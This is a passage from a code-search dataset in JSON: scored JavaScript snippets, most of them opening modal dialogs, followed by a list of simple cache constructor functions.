\"audio\");\r\n\t\t\r\n\t}", "title": "" }, { "docid": "0f7db64d43fc87c5a66de15fd020cf62", "score": "0.5510053", "text": "function showItemAdditionScreen(){\n $('#itemAdditionScreen').modal('show');\n}", "title": "" }, { "docid": "25143e47ac777baad5d3dbc4bcbb34a5", "score": "0.55087817", "text": "function showCategories() {\n showModal('subjectmenu.html');\n}", "title": "" }, { "docid": "5f54c8f91060faeb0d0cdb91df7551d3", "score": "0.5508393", "text": "function newEvent() {\n\tsetLocationInput();\n\t$('#addEventModal').modal('show');\n}", "title": "" }, { "docid": "a5a949880a6cd3dee0b61f216e5e56e4", "score": "0.55018836", "text": "function zoto_modal_album_add_edit(options){\n\tthis.options = options ||{};\n\tthis.options.in_wizard = this.options.in_wizard || false;\n\tthis.options.wizard_options = this.options.wizard_options || {};\n\tthis.$uber(options);\n\n\tthis.__init = false;\n\t\n\tthis.str_header = _(\"add/edit album\");\n\tthis.str_create = _(\"create a new album\");\n\tthis.str_add = _(\"add these photo(s) to an existing album\");\n}", "title": "" }, { "docid": "7c372a567153e0ede6cf677f74deb886", "score": "0.5499499", "text": "function openPrompt() {\n var openModal = prompt('add notes', 'notes')\n addTodoList(openModal, parentId)\n}", "title": "" }, { "docid": "e7e0167a21c0f5d2d026985cc5cd4379", "score": "0.5495182", "text": "function openMoadal(e){\n console.log(e);\n modal.style.display = 'block';\n \n}", "title": "" }, { "docid": "67b3cf84f700457425de4642d80e7314", "score": "0.54943764", "text": "click(){\n createAddItemWindow();\n }", "title": "" }, { "docid": "99b413d80f263abb91870c504328a24a", "score": "0.5494279", "text": "function openModal(item) {\n if(item.type == \"artist\"){\n getAlbums(item.id);\n } else {\n getTracks(item.id);\n }\n vm.showModal = item;\n }", "title": "" }, { "docid": "2c1f8cf42d82cdaea5174de537293372", "score": "0.54927397", "text": "function pveModuleOpen() {\n let selection = document.querySelector('.pveSelect');\n let pve = document.querySelector('.pveModal');\n let pvePlay = document.querySelector('.pvePlay');\n \n // styles for different elements\n playStyleModal.style.cssText = 'display: none; ';\n pvpModal.style.cssText = 'display: none;';\n pve.style.cssText = 'display: grid;';\n gameContainer.style.cssText = 'transition: all 0.4s ease; -webkit-transform: scale(1); -webkit-filter: blur(0px) grayscale(0px); background-color: transparent;'\n body.style.cssText = 'background-color: white;'\n first.value = null;\n second.value = null;\n // event listener to start game vs computer\n pvePlay.addEventListener('click', selectOption);\n\n \n\n }", "title": "" }, { "docid": "42115de029a62a61b7482a425d79d7d6", "score": "0.549071", "text": "function showModal(){\n\t\t$('.js_newPortal').on('click', function(){\n\t\t\t$('.modal.modal__addNewPortal').addClass('modalOpen');\n\t\t});\n\t}", "title": "" }, { "docid": "72cb6a5aa7163af39efa0e93d8352313", "score": "0.54874235", "text": "showAddCategoryModalDialog() {\n var categoryModalHeader = \"Adding category to categories list\";\n var categoryData = {};\n\n categoryData = {\n name: ''\n };\n\n this.props.dispatch({type: CategoryActions.ActionTypes.CATEGORY.SHOW_ADD_EDIT_MODAL_DIALOG,\n categoryModalHeader: categoryModalHeader, categoryIndex: -1, categoryData: categoryData});\n }", "title": "" }, { "docid": "e9e5b48aef83a75a086b6d23d314d58b", "score": "0.54859036", "text": "isAddNewDialog() {\n return this.mode === 'dialog-add-new';\n }", "title": "" }, { "docid": "964f5664a90963559ef4660f2e9f844a", "score": "0.54789025", "text": "function addModule() {\n $('<section>')\n .attr('id', 'rsw-discord')\n .addClass('rsw-custom-module rail-module')\n .append(\n $('<a>')\n .attr('href', ('https://discord.gg/s63bxtW'))\n .append(\n $('<img>')\n .attr('src', 'https://vignette.wikia.nocookie.net/vocaloid/images/2/2d/Discord-Logo-Color.png')\n ),\n $('<div>')\n .append(\n $('<p>')\n .append(\n 'Le Wiki VOCALOID a un serveur officiel de Discord ! Clique le bouton ci-dessous pour rejoindre et dialoguer avec les fans et des contributeurs en direct, ou clique ',\n $('<a>')\n .attr('href', mw.util.wikiGetlink('Wiki Vocaloid:Discord'))\n .text('ici'),\n ' pour lire les règles du tchat de ce serveur.'\n ),\n $('<a>')\n .attr('href', 'https://discord.gg/s63bxtW')\n .addClass('wds-button')\n .text('Recevoir une invitation')\n )\n )\n .insertBefore('#wikia-recent-activity');\n }", "title": "" }, { "docid": "ddab2b74ba42246e893df2764bcea5e1", "score": "0.54644245", "text": "function openThankModal(key) {\n var ul = $(\"#createdLink\");\n\n jQuery(\"<li>\", {\n class: \"list-group-item\",\n html: \"yt-link.com/\" + key\n }).appendTo(ul);\n\n jQuery(\"<li>\", {\n class: \"list-group-item\",\n html: \"yt-link.co/\" + key\n }).appendTo(ul);\n\n jQuery(\"<li>\", {\n class: \"list-group-item\",\n html: \"ytlink.co/\" + key\n }).appendTo(ul);\n\n $(\"#thankModal\").modal();\n loadRegistredMembers();\n}", "title": "" }, { "docid": "25c862ca9eb2409034a84c00fd0bac30", "score": "0.5457364", "text": "function InsertEmbedContent(code, caption, index) {\r\n var myArgs = { \"code\": code, \"caption\": caption, \"index\": index };\r\n var options = SP.UI.$create_DialogOptions();\r\n options.args = myArgs;\r\n options.title = \"Embed\";\r\n options.width = 700;\r\n options.height = 480;\r\n options.y = getTop(600);\r\n options.url = \"/_layouts/BeenJammin.SharePoint.CustomRibbonActions/GenericEmbed.aspx\";\r\n options.dialogReturnValueCallback = Function.createDelegate(null, EmbedCloseCallback);\r\n SP.UI.ModalDialog.showModalDialog(options);\r\n}", "title": "" }, { "docid": "d03818666d4388faaf2b9859092be1c8", "score": "0.5456661", "text": "function open_modal(title, description) {\n var title_modal = document.getElementById(\"modal_title\");\n var description_modal = document.getElementById(\"modal_description\");\n title_modal.innerHTML = title;\n description_modal.innerHTML = description;\n modal.style.display = \"block\";\n}", "title": "" }, { "docid": "b2e122d58d3f491369a9adc069885c40", "score": "0.5455593", "text": "function addBtn(){\n\t//disable add button until screen is returned to focus. Issue #28\n\t$.addTransect.enabled = false;\n\t\n\tvar addTransect = Alloy.createController(\"addTransect\", {siteGUID: $.tbl.siteGUID}).getView();\n\tvar nav = Alloy.Globals.navMenu;\n\tnav.openWindow(addTransect);\n}", "title": "" }, { "docid": "c5f49ae7efb77636c81ad10ae8e977fb", "score": "0.54494673", "text": "openRemoveEfficacyStudyModalDialog() {\n //Show dialog\n this.setState({modalIsOpen: true});\n\n //Send analytics event that the modal was opened\n Analytics.sendEvent(Analytics.getDataLayerOptions(\"link click\", \"remove efficacy study\"));\n }", "title": "" }, { "docid": "775e627175a7c28abb595b8b658c9f1b", "score": "0.5449097", "text": "function InsertSpecialOffer()\n{\n /**\n Open the panel NewSpecialOffer\n */\n CreateSpecialOfferPanel('', '', COMMAND_INSERT);\n}", "title": "" }, { "docid": "b316dbeb653f760f8622a481467830a2", "score": "0.5446195", "text": "function InsertVideo() {\r\n var options = SP.UI.$create_DialogOptions();\r\n options.title = \"Enter Video Url and Caption.\";\r\n options.width = 400;\r\n options.height = 200;\r\n options.y = getTop(200);\r\n options.args = getSelectedText();\r\n options.url = \"/_layouts/BeenJammin.SharePoint.CustomRibbonActions/YoutubeEmbedVideo.aspx\";\r\n options.dialogReturnValueCallback = Function.createDelegate(null, VideoCloseCallback);\r\n SP.UI.ModalDialog.showModalDialog(options);\r\n}", "title": "" }, { "docid": "c17d34b88625ca679240a4dcfe3f7dd6", "score": "0.5443789", "text": "function openNewMediaDialog(title,onInsert,isMultiple, type){\r\n\t\t\r\n\t\tif(isMultiple == undefined)\r\n\t\t\tisMultiple = false;\r\n\t\t\r\n\t\t// Media Library params\r\n\t\tvar frame = wp.media({\r\n\t\t\t//frame: 'post',\r\n //state: 'insert',\r\n\t\t\ttitle : title,\r\n\t\t\tmultiple : isMultiple,\r\n\t\t\tlibrary : { type : type},\r\n\t\t\tbutton : { text : 'Insert' }\r\n\t\t});\r\n\r\n\t\t// Runs on select\r\n\t\tframe.on('select',function(){\r\n\t\t\tvar objSettings = frame.state().get('selection').first().toJSON();\r\n\t\t\t\r\n\t\t\tvar selection = frame.state().get('selection');\r\n\t\t\tvar arrImages = [];\r\n\t\t\t\r\n\t\t\tif(isMultiple == true){\t\t//return image object when multiple\r\n\t\t\t selection.map( function( attachment ) {\r\n\t\t\t \tvar objImage = attachment.toJSON();\r\n\t\t\t \tvar obj = {};\r\n\t\t\t \tobj.url = objImage.url;\r\n\t\t\t \tobj.id = objImage.id;\r\n\t\t\t \tarrImages.push(obj);\r\n\t\t\t });\r\n\t\t\t\tonInsert(arrImages);\r\n\t\t\t}else{\t\t//return image url and id - when single\r\n\t\t\t\tonInsert(objSettings.url, objSettings.id);\r\n\t\t\t}\r\n\t\t\t \r\n\t\t});\r\n\r\n\t\t// Open ML\r\n\t\tframe.open();\r\n\t}", "title": "" }, { "docid": "03d047ca28ffd8047ccda3cb9b3c411d", "score": "0.54406524", "text": "async function presentEditFeedModal( $item, langs_data ) {\n // create the modal with the `modal-page` component\n $doc.trigger('open-modal', [\n await modalController.create({\n component: 'modal-update-feed',\n componentProps: {\n 'langs' : langs_data,\n 'lang' : $item.data('lang'),\n 'id' : $item.data('id'),\n 'url' : $item.data('url'),\n 'title' : $item.find('ion-label h3 span').text(),\n 'allow_duplicates' : $item.data('allow-duplicates'),\n },\n }),\n function() {\n setTimeout(function() {\n $('#feed_title')[0].setFocus();\n }, 500);\n }\n ]);\n }", "title": "" }, { "docid": "6bf964a8515c01a2c47ee1fc97cacf07", "score": "0.5437634", "text": "function displayQuestion(e, $modal) {\n var button = $(e.relatedTarget); // Button that triggered the modal\n var num = parseInt(button.data('num'));\n var question = questions[num];\n window.currentQuestion = num;\n $modal.find('.modal-title').text(question.prompt);\n $modal.find('.modal-body').empty().append(getOptions(question));\n}", "title": "" }, { "docid": "61c940fedf19af9941c2da03761ad2cb", "score": "0.5436332", "text": "function MUP_Open(){\n //console.log(\" ----- MUP_Open ----\")\n\n // --- show modal\n $(\"#id_mod_upload_permits\").modal({backdrop: true});\n } // MUP_Open", "title": "" }, { "docid": "1b6caf99b0207998c8adf25e069e7187", "score": "0.54295176", "text": "function creaPrenotazione() {\n\t$('#modPrenotazione').window('open');\n\n}", "title": "" }, { "docid": "efc16773ed3f9696d0355e147682ec82", "score": "0.5427758", "text": "function _showModal(ev) {\n let annoData = newAnnotationService.defusekify(model.edit, true);\n let fragment = annoData.fragment;\n let subject = annoData.subject;\n\n model.docUrl = annoData.url;\n\n // Configura il modale e poi mostralo\n $mdDialog.show({\n controller: DialogController,\n controllerAs: 'dialog',\n //Deps, part.1\n bindToController: {\n fragment: fragment,\n subject: subject,\n annoData: annoData\n }, //Deps\n templateUrl: 'js/modules/editAnnotation/editAnnotationModal.tmpl.html',\n parent: angular.element(document.body),\n fullscreen: true,\n targetEvent: ev,\n //Deps, part.2\n fragment: fragment,\n subject: subject,\n annoData: annoData,\n //Deps\n userService: userService,\n clickOutsideToClose: true\n })\n .then(function(answer) {\n model.status = 'You said the information was \"' + answer + '\".';\n }, function() {\n model.status = 'You cancelled the dialog.';\n });\n }", "title": "" }, { "docid": "78e489acdce552616fa9c42aeec9203a", "score": "0.5427551", "text": "function openSave () {\n $('#saveTemplate').modal('show');\n }", "title": "" }, { "docid": "78e489acdce552616fa9c42aeec9203a", "score": "0.5427551", "text": "function openSave () {\n $('#saveTemplate').modal('show');\n }", "title": "" }, { "docid": "9d646e18d90628ff9ac40e1e6d52a027", "score": "0.542703", "text": "function openModalAddTramite(){\n getListTramites();\n vm.modalAddTramite = $uibModal.open({\n animation: true,\n templateUrl: 'views/modals/addTramite.modal.html',\n scope: $scope,\n size: 'nt',\n backdrop: 'static'\n });\n }", "title": "" }, { "docid": "1d688642cf85644a00d338b18b78dd72", "score": "0.542654", "text": "function openSendToModal()\n\t{\n\t\tclearSendto();\n\t\t$(\"#sendto\").modal(\"show\");\n\t\t\n\t}", "title": "" }, { "docid": "c149b9b36cb9c3f0e9f4a70e4b8f97b9", "score": "0.54256874", "text": "function handleAddingAttachment(url){\n let api = collector.getModule('ModalDialogAPI');\n let md = new api.modalDialog(\n function(attachment){\n attachment.sleep(sleep);\n attachment.type(new elementslib.Lookup(attachment.window.document, '/id(\"commonDialog\")/[4]/'\n + '[1]/id(\"loginContainer\")/id(\"loginTextbox\")/anon({\"class\":\"textbox-input-box\"})/'\n + 'anon({\"anonid\":\"input\"})'), url);\n attachment.click(new elementslib.Lookup(attachment.window.document, '/id(\"commonDialog\")/'\n + 'anon({\"anonid\":\"buttons\"})/{\"dlgtype\":\"accept\"}'));\n }\n );\n md.start();\n}", "title": "" }, { "docid": "1be822dc106118f5cbf7c27d86544415", "score": "0.54131126", "text": "function showPopupElementFormular() {\r\n $(\"#\" + global.Element.PopupElementFormular).modal(\"show\");\r\n }", "title": "" }, { "docid": "0cd2f3e74c67a445b779503a46f13a1d", "score": "0.54126835", "text": "function openContactDetails() {\n\t\tconst contactId = Number(this.id);\n\t\tupdateContactDetails(contactId);\n\t\tmodal.style.display = \"block\";\n\t}", "title": "" }, { "docid": "18e10f640ca1b1120c41530f1a39244a", "score": "0.54120785", "text": "function UserProfileModal() {\t\t\n\tcustomModalBox.htmlBox('yt-UserProfileContent', '', 'UserProfile'); \n\t$('mb_close_link').addEvent('click', function() {\n\t\t$('yt-UserProfileContent').injectInside(document.forms[0]);\t\t\n\t\tif($('txtarUserProfileMsg'))\n\t\t$('txtarUserProfileMsg').value=\"\";\n\t\t\n\t//\twindow.location.reload(true); \n\t});\n\n\t\n}", "title": "" }, { "docid": "f64c9b85bdbc10c19b3447a3a4d9b584", "score": "0.54107034", "text": "function SPopenmessages(idofdoc)\r\n{\r\n\tdebugger;\r\n\tpreviewmessagesglbl=false;\t\r\n\t$('#SPmyModalmessages').modal({backdrop: 'static', keyboard: false});\r\n\t$(\"#msgesconent\").empty();\r\n\t\r\n\t$(\"#SPdescriptionid\").val(\"\");\r\n\t$('#SPcloseid').attr(\"data-dismiss\",\"modal\");\r\n\t$('#SPcloseid').text(\"Close\");\r\n\t\r\n\tdocumentId=idofdoc;\t\t\r\n\tSPgetdiscussions(documentId,Discussionlist, siteurl,SPgetdiscussionssuccess,SPgetdiscussionsfailure);\r\n\t$(\"#SPlookupdocid\").text(idofdoc);\r\n\tSPgetpermissionsOnclickOpenMsg(documentId);\t\t\t\t\r\n}", "title": "" }, { "docid": "ae3ecaed6d689ece249410fa7d0bcabe", "score": "0.5408571", "text": "function openAccountEntityAdd() {\n\n\t\t\tif ($('#cancelEntityButton').length == 0) {\n\t\t\t\tvar cancelEntityButton = $(\"<input/>\", {\n\t\t\t\t\t\"class\" : \"cancel btn btn-default\",\n\t\t\t\t\t\"type\" : \"button\",\n\t\t\t\t\t\"id\" : \"cancelEntityButton\",\n\t\t\t\t\t\"click\" : me.rosterCancelAction,\n\t\t\t\t\t\"value\" : ap.core_prompts[\"action.Cancel\"]\n\t\t\t\t});\n\n\t\t\t\tvar accountEntitiesContainer = $('#accountEntitiesContainer');\n\t\t\t\taccountEntitiesContainer.find('.btn-group').append(\n\t\t\t\t\t\tcancelEntityButton);\n\n\t\t\t\t$('#accountEntitiesContainer').css(\"display\", 'block');\n\t\t\t\tme.$mainButtonContainer.css(\"display\", 'none');\n\n\t\t\t\t$('#rosterDownFillEntitiesBtn').remove();\n\t\t\t\t$('#rosterAddNewBtn').remove();\n\t\t\t\tme.focusOnFirstField(true);\n\t\t\t\tpage.manageTabIndex();\n\n\t\t\t\tforceIEtoRepaintFooter();\n\t\t\t}\n\t\t\t;\n\n\t\t}", "title": "" }, { "docid": "ad3479c9d3c327fda7d96a7dcc9a064a", "score": "0.5407872", "text": "newBlog(){\n\t fetch(`${this.url}Controllermodal/newblogmodal`)\n\t .then(dataModal=>{\n\t dataModal.json().then(modal=>{\n\t document.getElementById('parentmodalInsertBlog').style.display=\"block\";\n\t document.getElementById(\"modalNewBlog\").innerHTML=modal;\n\t })\n\t })\n\t}", "title": "" }, { "docid": "f4475dc302c5fd98ac932f24f8a57872", "score": "0.5399435", "text": "function showPauseModal(name, url) {\n $(\"#pause-modal-title\").text(\"Pause pipeline \" + name);\n $(\"#pause-modal-form-pausecause\").val('');\n $('#pause-modal-submit-button').attr('onclick', \"pausePipeline('\" + url + \"', $('#pause-modal-form-pausecause').val())\")\n $('#pause-modal').modal('show');\n}", "title": "" }, { "docid": "9f436a7685d95e821717175e3876c6fb", "score": "0.53947985", "text": "function nameModuleOpen(condition) {\n let pvpModal = document.querySelector('.pvpModal');\n let playButt = document.querySelector('.playButt');\n pvpModal.style.cssText =\"transition: all 0.4s ease; -webkit-transform: scale(1); -webkit-filter: blur(0px) grayscale(0%);\"\n \n playButt.addEventListener('click', nameModuleClose);\n playButt.addEventListener('click', PlayerX);\n // stopped in process of figuring best way to\n // send names to each factory - one for x and one for o\n }", "title": "" }, { "docid": "0d33c8bb970251a5168a76dd52e92aa0", "score": "0.5388508", "text": "function adminModif(id){\n console.log(id)\n biblio = biblioteca[id]\n document.querySelector(\"#titleModal\").innerText = biblio.titulo\n document.querySelector(\"#authorModal\").value = biblio.autor\n document.querySelector(\"#demogModal\").value = biblio.demografia\n document.querySelector(\"#categModal\").value = biblio.categoria\n document.querySelector(\"#añoModal\").value = biblio.año\n document.querySelector(\"#ediModal\").value = biblio.editorial\n document.querySelector(\"#tomoModal\").value = biblio.tomo\n document.querySelector(\"#imgModal\").value = biblio.imagen\n document.querySelector(\"#descripModal\").value = biblio.descripcion\n \n $('#adminModif').modal('show')\n \n}", "title": "" }, { "docid": "1269bd9f324f0875fb3ce26283222a67", "score": "0.53874797", "text": "function NuevoExam(id){\n window.open(\"examen.php?id=\"+id, '_parent');\n }", "title": "" }, { "docid": "7f35e736d701600ee7758fa85112c225", "score": "0.538178", "text": "function displayModal() {\n\t\t\t\t$(\"#user-name\").text(newPerson.name);\n\t\t\t\t$(\"#match-name\").text(matchName);\n\t\t\t\t$(\"#match-img\").attr(\"src\", matchImage);\n\t\t\t\t$(\"#myModal\").modal();\n\t\t\t}", "title": "" }, { "docid": "abb2d17a16e1a1f738345dc286f60f87", "score": "0.53804946", "text": "function addNewForm() {\n var prototype = $collectionHolder.data('prototype')\n var index = $collectionHolder.data('index')\n var newForm = prototype\n newForm = newForm.replace(/__name__/g, index)\n $collectionHolder.data('index', index+1)\n // création panel\n var $panel = $(\n '<div class=\"panel panel-warning\"><div class=\"panel-heading\"></div></div>',\n )\n var $panelBody = $('<div class=\"panel-body\"></div>').append(newForm)\n $panel.append($panelBody)\n addRemoveButton($panel)\n $addNewItem.before($panel)\n}", "title": "" }, { "docid": "4fcd2715b360e79141c8f8d9d381a839", "score": "0.5377657", "text": "function get_form_new_poste(){\n\t$.get(\n base_url + 'index.php/adm/contacts_postes_load_form',\n {nohtml:'nohtml'},\n function(data){\n $(\"#modal-global-body\").html(data);\n } \n );\n $('#modal-global-label').html('<i class=\"fa fa-suitcase\"></i>&nbsp;&nbsp;Nouveau poste');\n $('#modal-global').modal('show');\n}", "title": "" }, { "docid": "9cc3ebb25a270dfd7689997c004bd698", "score": "0.537608", "text": "function modalSearch(){\n\t$('#lbl_title').text('Search Data Infaq');\n\t$('#m_search').modal('show');\n}", "title": "" }, { "docid": "00ef2772abf66f30663d86e575dfa7e2", "score": "0.53756", "text": "function openNewRankTaskModal() {\n newRankTaskModal.style.display = \"block\";\n }", "title": "" }, { "docid": "ceb7a53b75a465a15d31bf78bad7f2d9", "score": "0.53728557", "text": "function group_add(){\n\t$.get(\n base_url + 'index.php/adm/groups_get_form',\n {nohtml:'nohtml'},\n function(data){\n $(\"#modal-global-body\").html('<div class=\"well\">'+data+'</div>');\n } \n );\n $('#modal-global-label').html('<i class=\"fa fa-group\"></i>&nbsp;&nbsp;Nouveau groupe');\n $('#modal-global').modal('show');\n}", "title": "" }, { "docid": "3c8da990fd2c765fa86eb1300cee22e8", "score": "0.5370864", "text": "function openModalEditor(par) {\n var nameView = par.mainFiltersEdit.dataEdit;\n var modal = document.getElementById(\"modal\" + nameView);\n modal.style.display = \"block\";\n var span = document.getElementsByClassName(\"modalEdit-close\")[0];\n span.onclick = function () {\n modal.style.display = \"none\";\n span.parentNode.parentNode.remove();\n }\n window.onclick = function (event) {\n getObjectEdit\n if (event.target == modal) {\n modal.style.display = \"none\";\n }\n }\n}", "title": "" }, { "docid": "c4a5b436109f974a8d1e958d833ba13c", "score": "0.5358811", "text": "function openProposedObjectiveModal(){\n $(\"#obj-modal-type\").val('propose');\n\tsetObjectiveModalContent('', '', '', getToday(), 0, 2);\n\tshowObjectiveModal(true);\n}", "title": "" }, { "docid": "266623be8f495ae18096e345be5f3c5f", "score": "0.53575534", "text": "function OpenNewAdd(Tag) {\n try\n {\n AddpriestFlag = 0;\n RemoveStyle();\n ClearFields();\n ButtonReset();\n $('#priestPreview').attr('src', \"../img/gallery/priest.png\");\n $('#hdfPriestID').val('');\n Dynamicbutton(\"btnMain\", \"Save\", \"MainbuttonClick\");\n Dynamicbutton(\"btnReset\", \"Reset\", \"Reset\");\n document.getElementById('HeadDetails').innerText = \"Add Priest\";\n $('#PriestShowDetails').hide();\n $('#PriestEd').show();\n $('#txtPriestName').focus();\n AutoComplete();\n }\n catch(e)\n {\n noty({ type: 'error', text: e.message });\n }\n \n \n }", "title": "" }, { "docid": "59afb8374f8ec76d4c35901bfe0ae480", "score": "0.53520006", "text": "function openModal() {\n if (reviewModal)\n closeModal();\n\n map.behaviors.disable(['drag', 'scrollZoom', 'dblClickZoom']);\n reviewModal = reviewModalTemplate.cloneNode(true);\n mapSection.appendChild(reviewModal);\n }", "title": "" }, { "docid": "e79e5320fa73a8bbccf76e7335066f74", "score": "0.5351788", "text": "function InsertEmailLink() {\r\n var options = SP.UI.$create_DialogOptions();\r\n options.args = getSelectedText();\r\n options.title = \"Please enter the email information\";\r\n options.width = 400;\r\n options.height = 200;\r\n options.y = getTop(200);\r\n options.url = \"/_layouts/BeenJammin.SharePoint.CustomRibbonActions/EmailLinkDialog.aspx\";\r\n options.dialogReturnValueCallback = Function.createDelegate(null, EmailLinkCloseCallback);\r\n SP.UI.ModalDialog.showModalDialog(options);\r\n\r\n}", "title": "" }, { "docid": "b8fa1c8057e33ef9aaea9058e4265873", "score": "0.53485", "text": "function addImagetoAssignment() {\r\n \r\n //Show success Modal and start confetti\r\n document.getElementById('modal3').style.display = 'block';\r\n\r\n\r\n }", "title": "" }, { "docid": "bd51a0a42fc30e10d0e7fd2c0ab58ad9", "score": "0.53408617", "text": "function DetailPerson(IdPerson)\n{\n Messi.load(\"module/content.php?m=person&a=Detail&IdPerson=\"+IdPerson, \n {title: 'Detail Person', titleClass: 'info', modal: true, width: '450px', buttons: [{id: 0, label: 'Close', val: 'X', btnClass: 'btn-success'}]});\n}", "title": "" }, { "docid": "f919f36819f432e311fc1529c7682578", "score": "0.5338357", "text": "function sendQuestion(){\n $('#questionModal').modal('hide');\n // window.open(taeUIInline.getInstance().questionsURL+\"/create?text=\"+$(\"#inputQuestion\").val()+\"&tags=Infanzia,\"+simpaticoEservice,\"_blank\");\n window.open(taeUIInline.getInstance().questionsURL+\"/create?tags=Infanzia,\"+simpaticoEservice,\"_blank\");\n}", "title": "" } ]
bfac44cec6298b86c8c0dc8f5ac209ad
================================================================================= Cache declaration =================================================================================
[ { "docid": "b6f45acdeaac9f391c31c0046d533db7", "score": "0.646481", "text": "function FrameworkCache() {\n\tthis.items = {};\n\tthis.count = 1;\n\tthis.interval;\n\tthis.$sync = true;\n}", "title": "" } ]
[ { "docid": "5d19204bfc2d7f71359da64e6c57e304", "score": "0.79408216", "text": "function Cache() {}", "title": "" }, { "docid": "7c7f91cf7cf9a0610c0efcb29c7c02fa", "score": "0.7507548", "text": "function Cache() {\n this.store = {};\n }", "title": "" }, { "docid": "5e3e53a7c61f0617030bbbc6dbbbd4e7", "score": "0.7493932", "text": "function Cache() {\n this.store = {};\n }", "title": "" }, { "docid": "9bc6daa78853058e51c539e455d62dd0", "score": "0.74892825", "text": "function Cache () {\n}", "title": "" }, { "docid": "20346da7d7aea36b733eb110a5d20a73", "score": "0.74819946", "text": "function SimpleCache() {\n this.cache = {};\n}", "title": "" }, { "docid": "c097c768bb852b8e9cac8ab29b775d71", "score": "0.73879176", "text": "function MapCache(){this.__data__ = {};}", "title": "" }, { "docid": "69047c0716e9db06d0408c83061a7ec5", "score": "0.73841673", "text": "function SimpleCache() {\n\tthis.cache = {};\n}", "title": "" }, { "docid": "142997823a1ed89c0f09ec42e8660e9c", "score": "0.732521", "text": "function MapCache(){this.__data__={};}", "title": "" }, { "docid": "142997823a1ed89c0f09ec42e8660e9c", "score": "0.732521", "text": "function MapCache(){this.__data__={};}", "title": "" }, { "docid": "7bd57dcfe71dd044ff1db1a65284960d", "score": "0.72829443", "text": "function Cache() {\n _classCallCheck(this, Cache);\n\n this.map = new Map();\n }", "title": "" }, { "docid": "b2e386972c95c730e6630d1a229aecf5", "score": "0.72037894", "text": "function ContentCache() {\n\n this._cache = Object.create( null );\n\n}", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "bc7518a9789b2881dc2934268c9821d0", "score": "0.7190569", "text": "function MapCache() {\n\t this.__data__ = {};\n\t }", "title": "" }, { "docid": "88e3e6dc1a57da4eca9bbcb7fff66531", "score": "0.7089859", "text": "function init() {\n return {\n get: function (key,callback) {;\n callback(cache.get(key));\n },\n set: function (key,value) {\n cache.set(key,value);\n },\n del:function(key){\n cache.del(key);\n },\n clear:function(){\n cache.reset();\n },\n update:function(key,value){\n var result = cache.get(key);\n if( typeof result != \"undefined\" && result.indexOf(value) === -1){\n result.push(value);\n cache.set(key,result);\n }\n },\n hasKey : function(key){\n return cache.has(key);\n }\n }\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": "0398ee1f32fd909919e9495f0e3c1cb9", "score": "0.7058441", "text": "function MapCache() {\n this.__data__ = {};\n }", "title": "" }, { "docid": 